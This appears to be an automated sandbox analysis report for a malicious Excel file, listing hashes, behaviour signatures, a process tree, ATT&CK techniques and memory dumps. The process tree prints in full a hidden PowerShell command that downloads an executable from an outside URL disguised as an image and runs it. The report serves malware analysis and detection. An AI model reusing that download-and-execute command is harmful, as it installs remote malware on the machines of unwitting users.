79e42e4da20588bed383670a9af00056e8cc99fcc2353d7a2f5a24ddc2eed66a

Analysis

max time kernel
137s
max time network
140s
platform
windows10_x64
resource
win10
submitted
07-07-2020 12:42

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General

Target

Offerta1111307.xls
Size

171KB
MD5

56efde4b17b8076c0f1f8c2491b3b00d
SHA1

4212e1fe7bc45ad8f91986445b380d0cfb68ef42
SHA256

79e42e4da20588bed383670a9af00056e8cc99fcc2353d7a2f5a24ddc2eed66a
SHA512

355f83c150b288b54e4e0f347cafcd6d7fc7c1740c62fd357e8e72d2abab08abb85c93690cc2209f37f56cee77f45d14eb9d91779a65a16fdd77fe5f32bdcf05

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://crogtrt.com/IG/6591111307.jpg

Signatures

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

716 EXCEL.EXE
716 EXCEL.EXE

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exe

description	pid	process	target process
PID 716 wrote to memory of 3352	716	EXCEL.EXE	cmd.exe
PID 716 wrote to memory of 3352	716	EXCEL.EXE	cmd.exe
PID 3352 wrote to memory of 2212	3352	cmd.exe	powershell.exe
PID 3352 wrote to memory of 2212	3352	cmd.exe	powershell.exe
PID 2212 wrote to memory of 3672	2212	powershell.exe	chrone.exe
PID 2212 wrote to memory of 3672	2212	powershell.exe	chrone.exe
PID 2212 wrote to memory of 3672	2212	powershell.exe	chrone.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exeWerFault.exe

description	pid	process
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeRestorePrivilege	4268	WerFault.exe
Token: SeBackupPrivilege	4268	WerFault.exe
Token: SeDebugPrivilege	4268	WerFault.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exe

pid	process
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe

Executes dropped EXE 1 IoCs

Processes:

chrone.exe

pid process

3672 chrone.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4268 3672 WerFault.exe chrone.exe

pid	process
3672	chrone.exe

pid	pid_target	process	target process
4268	3672	WerFault.exe	chrone.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
716	EXCEL.EXE
716	EXCEL.EXE
716	EXCEL.EXE
716	EXCEL.EXE
716	EXCEL.EXE
716	EXCEL.EXE
716	EXCEL.EXE
716	EXCEL.EXE
716	EXCEL.EXE
716	EXCEL.EXE
716	EXCEL.EXE
716	EXCEL.EXE
716	EXCEL.EXE
716	EXCEL.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3352	716	cmd.exe	EXCEL.EXE

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

10 2212 powershell.exe

flow	pid	process
10	2212	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

716 EXCEL.EXE

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Offerta1111307.xls"
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
PID:716

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://crogtrt.com/IG/6591111307.jpg',$env:Temp+'\chrone.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\chrone.exe')
2⤵
- Suspicious use of WriteProcessMemory
- Process spawned unexpected child process
PID:3352

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://crogtrt.com/IG/6591111307.jpg',$env:Temp+'\chrone.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\chrone.exe')
3⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:2212

C:\Users\Admin\AppData\Local\Temp\chrone.exe
"C:\Users\Admin\AppData\Local\Temp\chrone.exe"
4⤵
- Executes dropped EXE
PID:3672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3672 -s 892
5⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Program crash
PID:4268

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\chrone.exe

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C:\Users\Admin\AppData\Local\Temp\chrone.exe

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memory/716-1-0x00000126E0E44000-0x00000126E0E49000-memory.dmp

Filesize
20KB

Download
memory/716-2-0x00000126E0E44000-0x00000126E0E49000-memory.dmp

Filesize
20KB

Download
memory/716-0-0x00000126E0E44000-0x00000126E0E49000-memory.dmp

Filesize
20KB

Download
memory/2212-4-0x0000000000000000-mapping.dmp

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memory/3352-3-0x0000000000000000-mapping.dmp

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memory/3672-12-0x0000000000000000-mapping.dmp

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memory/3672-16-0x0000000000000000-mapping.dmp

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memory/3672-10-0x0000000000000000-mapping.dmp

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memory/3672-9-0x0000000000000000-mapping.dmp

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memory/3672-11-0x0000000000000000-mapping.dmp

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memory/3672-150-0x0000000000000000-mapping.dmp

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memory/3672-14-0x0000000000000000-mapping.dmp

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memory/3672-13-0x0000000000000000-mapping.dmp

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memory/3672-15-0x0000000000000000-mapping.dmp

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memory/3672-5-0x0000000000000000-mapping.dmp

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memory/3672-151-0x0000000000000000-mapping.dmp

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memory/3672-145-0x0000000000000000-mapping.dmp

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memory/3672-144-0x0000000000000000-mapping.dmp

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memory/3672-147-0x0000000000000000-mapping.dmp

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memory/3672-146-0x0000000000000000-mapping.dmp

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memory/3672-148-0x0000000000000000-mapping.dmp

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memory/3672-149-0x0000000000000000-mapping.dmp

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memory/4268-160-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

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memory/4268-173-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

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memory/4268-152-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

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memory/4268-153-0x0000000005860000-0x0000000005861000-memory.dmp

Filesize
4KB

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memory/4268-154-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

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memory/4268-155-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-156-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-157-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

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memory/4268-158-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-159-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-8-0x0000000004E80000-0x0000000004E81000-memory.dmp

Filesize
4KB

Download
memory/4268-161-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-162-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-164-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-163-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-165-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-166-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

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memory/4268-167-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

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memory/4268-168-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-169-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-170-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-171-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-172-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-17-0x0000000005730000-0x0000000005731000-memory.dmp

Filesize
4KB

Download
memory/4268-174-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-175-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-176-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-177-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-178-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-179-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-180-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-181-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-182-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-183-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-184-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-185-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-186-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-187-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-188-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-189-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-190-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-191-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-192-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-193-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-194-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-195-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/4268-196-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download